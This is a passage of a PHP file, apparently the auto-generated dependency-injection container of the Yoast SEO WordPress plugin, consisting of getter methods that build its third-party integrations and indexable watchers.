($this->services['Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional'] = new \Yoast\WP\SEO\Conditionals\WooCommerce_Conditional())), ($this->services['WPSEO_Addon_Manager'] ?? $this->getWPSEOAddonManagerService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\AMP' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\AMP */ protected function getAMPService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\AMP'] = new \Yoast\WP\SEO\Integrations\Third_Party\AMP(($this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] ?? $this->getFrontEndIntegrationService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\BbPress' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\BbPress */ protected function getBbPressService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\BbPress'] = new \Yoast\WP\SEO\Integrations\Third_Party\BbPress(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Elementor' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Elementor */ protected function getElementorService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Elementor'] = new \Yoast\WP\SEO\Integrations\Third_Party\Elementor(($this->services['WPSEO_Admin_Asset_Manager'] ?? $this->getWPSEOAdminAssetManagerService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())), new \Yoast\WP\SEO\Elementor\Infrastructure\Request_Post()); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types */ protected function getExcludeElementorPostTypesService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_Elementor_Post_Types'] = new \Yoast\WP\SEO\Integrations\Third_Party\Exclude_Elementor_Post_Types(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types */ protected function getExcludeWooCommercePostTypesService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Exclude_WooCommerce_Post_Types'] = new \Yoast\WP\SEO\Integrations\Third_Party\Exclude_WooCommerce_Post_Types(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Jetpack' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Jetpack */ protected function getJetpackService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Jetpack'] = new \Yoast\WP\SEO\Integrations\Third_Party\Jetpack(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache */ protected function getW3TotalCacheService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\W3_Total_Cache'] = new \Yoast\WP\SEO\Integrations\Third_Party\W3_Total_Cache(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WPML' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\WPML */ protected function getWPMLService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML'] = new \Yoast\WP\SEO\Integrations\Third_Party\WPML(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification */ protected function getWPMLWPSEONotificationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WPML_WPSEO_Notification'] = new \Yoast\WP\SEO\Integrations\Third_Party\WPML_WPSEO_Notification(($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] ?? ($this->services['Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional'] = new \Yoast\WP\SEO\Conditionals\Third_Party\WPML_WPSEO_Conditional()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Web_Stories' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories */ protected function getWebStoriesService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories'] = new \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories(($this->services['Yoast\\WP\\SEO\\Integrations\\Front_End_Integration'] ?? $this->getFrontEndIntegrationService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit */ protected function getWebStoriesPostEditService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Web_Stories_Post_Edit'] = new \Yoast\WP\SEO\Integrations\Third_Party\Web_Stories_Post_Edit(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish */ protected function getWincherPublishService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Wincher_Publish'] = new \Yoast\WP\SEO\Integrations\Third_Party\Wincher_Publish(($this->services['Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional'] ?? $this->getWincherEnabledConditionalService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] ?? $this->getWincherKeyphrasesActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] ?? $this->getWincherAccountActionService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WooCommerce' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce */ protected function getWooCommerce2Service() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce'] = new \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['WPSEO_Replace_Vars'] ?? $this->getWPSEOReplaceVarsService()), ($this->services['Yoast\\WP\\SEO\\Memoizers\\Meta_Tags_Context_Memoizer'] ?? $this->getMetaTagsContextMemoizerService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Pagination_Helper'] ?? $this->getPaginationHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit */ protected function getWooCommercePostEditService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\WooCommerce_Post_Edit'] = new \Yoast\WP\SEO\Integrations\Third_Party\WooCommerce_Post_Edit(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks */ protected function getWoocommercePermalinksService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Third_Party\\Woocommerce_Permalinks'] = new \Yoast\WP\SEO\Integrations\Third_Party\Woocommerce_Permalinks(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Uninstall_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Uninstall_Integration */ protected function getUninstallIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Uninstall_Integration'] = new \Yoast\WP\SEO\Integrations\Uninstall_Integration(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher */ protected function getAddonUpdateWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Addon_Update_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Addon_Update_Watcher(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher */ protected function getAutoUpdateWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Auto_Update_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Auto_Update_Watcher(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher */ protected function getIndexableAncestorWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Ancestor_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Ancestor_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] ?? $this->getIndexableHierarchyBuilderService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] ?? $this->getIndexableHierarchyRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Permalink_Helper'] = new \Yoast\WP\SEO\Helpers\Permalink_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher */ protected function getIndexableAttachmentWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Attachment_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Attachment_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper'] = new \Yoast\WP\SEO\Helpers\Attachment_Cleanup_Helper())), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher */ protected function getIndexableAuthorArchiveWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Archive_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher */ protected function getIndexableAuthorWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Author_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Author_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher */ protected function getIndexableCategoryPermalinkWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Category_Permalink_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Category_Permalink_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher */ protected function getIndexableDateArchiveWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Date_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Date_Archive_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher */ protected function getIndexableHomeUrlWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_HomeUrl_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_HomeUrl_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher */ protected function getIndexableHomePageWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Home_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Home_Page_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher */ protected function getIndexablePermalinkWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Permalink_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Permalink_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher */ protected function getIndexablePostMetaWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Meta_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Meta_Watcher(($this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher'] ?? $this->getIndexablePostWatcherService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher */ protected function getIndexablePostTypeArchiveWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Archive_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Archive_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher */ protected function getIndexablePostTypeChangeWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Type_Change_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Type_Change_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher */ protected function getIndexablePostWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Post_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Post_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] ?? $this->getIndexableHierarchyRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] ?? $this->getIndexableLinkBuilderService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] ?? $this->getAuthorArchiveHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()), ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] ?? ($this->services['Yoast\\WP\\SEO\\Loggers\\Logger'] = new \Yoast\WP\SEO\Loggers\Logger()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher */ protected function getIndexableStaticHomePageWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Static_Home_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Static_Home_Page_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher */ protected function getIndexableSystemPageWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_System_Page_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_System_Page_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher */ protected function getIndexableTaxonomyChangeWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Taxonomy_Change_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Taxonomy_Change_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), ($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher */ protected function getIndexableTermWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Indexable_Term_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Indexable_Term_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] ?? $this->getIndexableBuilderService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] ?? $this->getIndexableLinkBuilderService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher */ protected function getOptionTitlesWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Titles_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Option_Titles_Watcher(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher */ protected function getOptionWpseoWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Option_Wpseo_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Option_Wpseo_Watcher(); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher */ protected function getPrimaryCategoryQuickEditWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Category_Quick_Edit_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Primary_Category_Quick_Edit_Watcher(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService()), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] ?? $this->getIndexableHierarchyBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher */ protected function getPrimaryTermWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Primary_Term_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Primary_Term_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Site_Helper'] = new \Yoast\WP\SEO\Helpers\Site_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper'] = new \Yoast\WP\SEO\Helpers\Primary_Term_Helper())), ($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] ?? $this->getPrimaryTermBuilderService())); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher */ protected function getSearchEnginesDiscouragedWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Search_Engines_Discouraged_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Search_Engines_Discouraged_Watcher(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] ?? $this->getCurrentPageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher */ protected function getWoocommerceBetaEditorWatcherService() { return $this->services['Yoast\\WP\\SEO\\Integrations\\Watchers\\Woocommerce_Beta_Editor_Watcher'] = new \Yoast\WP\SEO\Integrations\Watchers\Woocommerce_Beta_Editor_Watcher(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())), 